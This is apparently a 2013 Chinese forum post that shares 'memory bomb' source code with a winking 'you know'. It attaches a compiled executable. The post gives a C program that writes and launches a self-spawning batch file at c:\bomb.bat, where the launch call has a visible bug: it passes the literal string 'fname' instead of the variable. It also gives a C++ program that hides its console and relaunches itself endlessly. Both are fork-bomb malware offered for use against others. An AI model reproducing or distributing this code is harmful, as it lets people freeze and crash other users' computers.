| 
 | 
 
 
发表于 2013-4-5 21:24:17
|
显示全部楼层
 
 
 
 本帖最后由 向往青莲 于 2013-4-5 21:30 编辑  
 
来了    内存炸弹源码   你懂得 
附件中是编译后的可执行文件(谨慎点击)
 
内存炸弹.zip
(67.5 KB, 下载次数: 0)
 
 
C语言版:- #include<stdio.h>
 
 - #include<string.h>
 
 - #include<stdlib.h>
 
 - #include<windows.h>/*调用system函数*/
 
 - void main()
 
 - {
 
 -         FILE *fp;
 
 -         
 
 -         char fname[32]="c:\\bomb";/*文件名*/
 
 -         strcat(fname,".bat");
 
 -         fp=fopen(fname,"w+");
 
 -         if(!fp)
 
 -         {
 
 -                 printf("创建文件失败!\n");
 
 -                 getchar();
 
 -                 exit(0);
 
 -         }
 
 -         fprintf(fp,"%s",":main\nstart %0\ngoto main");/*写入文件*/
 
 -         
 
 -         fclose(fp);
 
 -         system("fname");
 
 -         return;
 
 - }
 
  复制代码 C++版本- #include <windows.h> // 包含MessageBox函数声明的头文件
 
 - #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")//隐藏控制台
 
 - void main(int argc, char* argv[])
 
 - {   
 
 -         char cur[256];
 
 -         int dirsize = 256;
 
 -     int ii;
 
 -         ii = GetModuleFileName(NULL, cur, dirsize);//得到自身程序的完整路径,保存在cur中
 
 -         cur[ii] = 0;//字符串末尾为‘/0’
 
 -         
 
 -         while(1)/*死循环*/
 
 -         {
 
 -                 ShellExecute(NULL,"open",cur,NULL,NULL,SW_SHOWNORMAL); /*执行自身*/
 
 -         }
 
 -         
 
 -         return ;
 
 - }
 
  复制代码 |   
 
 
 
 |